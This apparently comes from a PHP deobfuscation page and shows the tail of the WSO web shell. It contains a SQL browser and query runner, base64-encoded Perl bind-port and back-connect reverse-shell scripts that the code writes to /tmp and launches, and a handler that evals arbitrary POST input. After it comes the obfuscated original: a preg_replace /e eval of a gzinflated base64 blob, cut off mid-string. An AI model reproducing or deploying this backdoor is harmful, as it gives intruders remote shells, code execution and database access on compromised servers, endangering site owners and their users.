                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                if(@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                    $num = $db->fetch();
                    $pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
                    if($_POST['type']=='pgsql')
                        $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
                    else
                        $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
                    echo "<br><br>";
                }
                if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                    $db->query(@$_POST['p2']);
                    if($db->res !== false) {
                        $title = false;
                        echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                        $line = 1;
                        while($item = $db->fetch())  {
                            if(!$title) {
                                echo '<tr>';
                                foreach($item as $key => $value)
                                    echo '<th>'.$key.'</th>';
                                reset($item);
                                $title=true;
                                echo '</tr><tr>';
                                $line = 2;
                            }
                            echo '<tr class="l'.$line.'">';
                            $line = $line==1?2:1;
                            foreach($item as $key => $value) {
                                if($value == null)
                                    echo '<td><i>null</i></td>';
                                else
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
                            }
                            echo '</tr>';
                        }
                        echo '</table>';
                    } else {
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
                    }
                }
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
            if(@$_POST['p1'] == 'loadfile') {
                $file = $db->loadFile($_POST['p2']);
                echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
            }
    } else {
        echo htmlspecialchars($db->error());
    }
    echo '</div>';
    wsoFooter();
}
function actionNetwork() {
    wsoHeader();
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Network tools</h1><div class=content>
    <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
    <span>Bind port to /bin/sh [perl]</span><br/>
    Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
    </form>
    <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
    <span>Back-connect  [perl]</span><br/>
    Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
    </form><br>";
    if(isset($_POST['p1'])) {
        function cf($f,$t) {
            $w = @fopen($f,"w") or @function_exists('file_put_contents');
            if($w){
                @fwrite($w,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo '</div>';
    wsoFooter();
}
function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;
?>

Did this file decode correctly?

Original Code

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lb3LrmRZj6Q3F6B3+FGogTRpnL3XzR0FvQknfgW6qlENdKOF7LdXON0+4zrZQkEaBDIj4oT73utCGkmj8Z//+h+X4/Hf/vGP//R//eOf4q/18+fXGX/N8efXir/Gu37/+bv5+PPr+POrff/svPz59efvzz8/d77+/Lp9/z//7vPnj+9/x5//rj8/2+afX2P7/fr+2a+/P37/vrft938+q13+9vPr9+f1v/37dv3b542//f38D77v78/zed7+H7zP/9vz/f39//55f/++/fPa356v/e37//xs//v6/UfPN//X7/v/9e/1fuef515/9nrcvu/T//zZvOndf757kGfl8X3Hz5lY1+9erM8zP//83WddTp2rP78f/fsZ/fz+fq3v53++9/Nd/c+vqXfOszm+P5ufcdPZ/fn+TH7fn2efn8986d+f37P8ebZcx/b92fX5mT8/Pz778udz51XfdXz//vNneQfO789+/l1+9p/P7Ut7cPu+9+fffN6x69xN3Y3PZwy9+2dN83mn/s36/n8+8+f8dv0/+335/tnnuT6///zd58/a339/+a5xf3w/Z+qsffZz3rU3ui+fz/NZ5hwO/X5+16Kxx1rzfO+md7x8Pzvf7dRnju96fz7j8wyfn5n6Gc7AZ53zeS7fzxqX7V3Gd//PP8/atR/829y/l9bs/L5b7sX8nr3cD9mkqff5rG2eufn9TNYqn+Oln286d7N+5TvpmXIddcY/e8lz5t4+v8+U+/95tkPvd/2etfxOrWl+zqFzpH3O77lqjZfOn+5c3qGL7sD5fc58X53Bz3N+vvOzV59zsfQen+9Keze/e5w/2+p+ftbm8/Offfrcn/w3+p72U9+d/6Z/v+NztpfuTN6P53edO/ZA5zo/e+ruH9/Pzz8/9SzHd93zO1j3z9m+18993uNz7j9247MWnzOVa3XXft2/n/X5u/y5+/c5Ps/5eabPWuW6XL624PMsnzPge3l8/93gHP98n+vz52n3h97vqT+/6/8v32f87Fd+n85G2rLHd02HbMTnMz//zbswvnue69a/9izvov4+79n82sO0o1Ofe2h9xvf5sWef5/7cjc9n7Pc+bfhN3yn79VmzvK+9zv2Qf177f++bLZ/au5/vfn/WJO3/j/yW7n7us85snjmtZa7j+v7K8yC7kfsv+5z2SWfxs0+fNf38yvN5kw3Ufqb/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